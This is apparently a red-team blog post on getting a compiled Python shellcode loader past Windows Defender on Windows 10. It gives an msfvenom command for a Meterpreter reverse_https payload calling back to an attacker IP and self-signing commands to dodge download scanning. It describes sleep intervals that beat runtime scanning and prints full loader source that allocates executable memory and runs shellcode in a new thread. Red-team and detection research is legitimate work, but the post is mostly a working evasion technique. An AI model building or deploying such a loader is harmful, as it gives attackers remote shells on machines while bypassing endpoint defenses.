Creating Python executables during an offensive security engagement used to be an effective method of evasion. However, this tactic has become increasingly difficult on modern Windows endpoints.

In fact, even benign programs seem to get blocked immediately after touching disk. This is just one of the reasons red teamers have moved away from popular frameworks such as Veil-Evasion and onto bigger-better things.

This post revisits compiled Python’s use in offensive security testing and shares my experiences launching Meterpreter shells on a fully patched Windows 10 system against Windows Defender.

Malware Creation

Given my primary focus was on evasion tactics in the compiled executable, I created a simple shellcode loader as my “malware”. The script called common Windows functions such as VirtualAlloc & CreateThread to inject shellcode locally within the current process.

The payload itself utilized a reverse_https connection over port 443 and was generated by MSFVenom, without any encoding or obfuscation techniques:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.157 LPORT=443 -f py

At this point, I didn’t have much faith in the code and thought it was sure to get detected. However, when attempting to execute the Python script directly, no alerts were triggered and a reverse connection was established.

Compiling Python

Despite triggering a successful Meterpreter shell, we cant rely on Python being installed on every Windows workstation. Therefore, the next step is to compile the source code — making it executable without needing any additional resources on the host.

Compiling Python is performed using tools like pyinstaller, py2exe, or cx_freeze. These work by wrapping the bytecode version (.pyc) of the script and all required dependencies/interpreters into a single .exe file:

pyinstaller --onefile .\shellcode_loader.py

Unfortunately, when downloading the newly compiled shellcode_loader.exe onto the target system, I didn’t get very far before receiving the following alert:

Evading Detection

Code Signing

At this point, I thought about potential strategies to avoid detection and looked into signing the executable with a self-signed certificate.

Using the Visual Studio Developer Command Prompt, I executed the following commands to generate a certificate and sign the shellcode_loader.exe file.

>> makecert /r /h 0 /eku "1.3.6.1.5.5.7.3.3,1.3.6.1.4.1.311.10.3.13" /e 12/12/2025 /sv m8.pvk m8.cer
>> pvk2pfx /pvk m8.pvk /spc m8.cer /pfx m8.pfx
>> signtool sign /a /fd SHA256 /f m8.pfx shellcode_loader.exe

Now, looking at the file’s properties, “Joe’s-Software-Emporium” was listed under Digital Signature details— (Microsoft Default). With that, the executable could be downloaded without detection.

Sleep Intervals

Although I was able to download the file, Windows Defender still flagged the program when attempting execution. That’s when I remembered reading F-Secure’s post about evading Windows Defender Runtime Scanning, which provided lots of great takeaways.

In short, I found adding various sleep intervals between the Win32 API calls bypassed runtime scanning and successfully triggered a working reverse shell.

Conclusion

A compiled Python executable wouldn’t be my first choice in a true red teaming engagement. However, this was a fun proof-of-concept and may prove useful in other areas of offensive security testing.

Source Code:

A final copy of my shellcode_loader.py script is available below:

import sys
import ctypes
import hashlib
from time import sleep
import ctypes.wintypes as wt
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def DecryptXOR(data, key):
    # Optional xor decryption method (not in use)
    data = bytearray(b64decode(data))
    l = len(key)
    keyAsInt = [x for x in map(ord, key)]
    return bytes(bytearray(((data[i] ^ keyAsInt[i % l]) for i in range(0,len(data)))))

def DecryptAES(data, key):
    # Optional AES decryption method (not in use)
    data = bytearray(b64decode(data))
    key = bytearray(b64decode(key))
    iv = 16 * b'\x00'
    cipher = AES.new(hashlib.sha256(key).digest(), AES.MODE_CBC, iv)
    return cipher.decrypt(pad(data, AES.block_size))

# msfvenom -p windows/x64/meterpreter/reverse_http lhost=0.0.0.0 lport=443 -f py
buf =  b""

try:
    # Function definitions
    kernel32 = ctypes.windll.kernel32

    kernel32.VirtualAlloc.argtypes = (wt.LPVOID, ctypes.c_size_t, wt.DWORD, wt.DWORD)
    kernel32.VirtualAlloc.restype = wt.LPVOID

    kernel32.CreateRemoteThread.argtypes = (wt.HANDLE, wt.LPVOID, ctypes.c_size_t, wt.LPVOID, wt.LPVOID, wt.DWORD, wt.LPVOID)
    kernel32.CreateThread.restype = wt.HANDLE

    kernel32.RtlMoveMemory.argtypes = (wt.LPVOID, wt.LPVOID, ctypes.c_size_t)
    kernel32.RtlMoveMemory.restype = wt.LPVOID

    kernel32.WaitForSingleObject.argtypes = (wt.HANDLE, wt.DWORD)
    kernel32.WaitForSingleObject.restype = wt.DWORD

    # Start Shellcode loader
    print("[+] Starting shellcode loader:")

    memAddr = kernel32.VirtualAlloc(None, len(buf), 0x3000, 0x40)
    print('[*] Allocated memory space at: {:08X}'.format(memAddr))

    print('[*] Interval sleep to avoid runtime detection (1/2).')
    sleep(5)

    kernel32.RtlMoveMemory(memAddr, buf, len(buf))
    print('[*] Copied payload into memory.')

    print('[*] Interval sleep to avoid runtime detection (2/2).')
    sleep(5)

    th = kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.c_void_p(memAddr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    print('[*] Created thread in current process.')

    kernel32.WaitForSingleObject(th, -1)
except KeyboardInterrupt:
    print("[!] Key detected, closing")
    sys.exit(1)
except Exception as e:
    print("[-] Error: {}".format(str(e)))
    sys.exit(0)
. . .
Twitter .  YouTube .  Linkedin .  GitHub .  Sponsor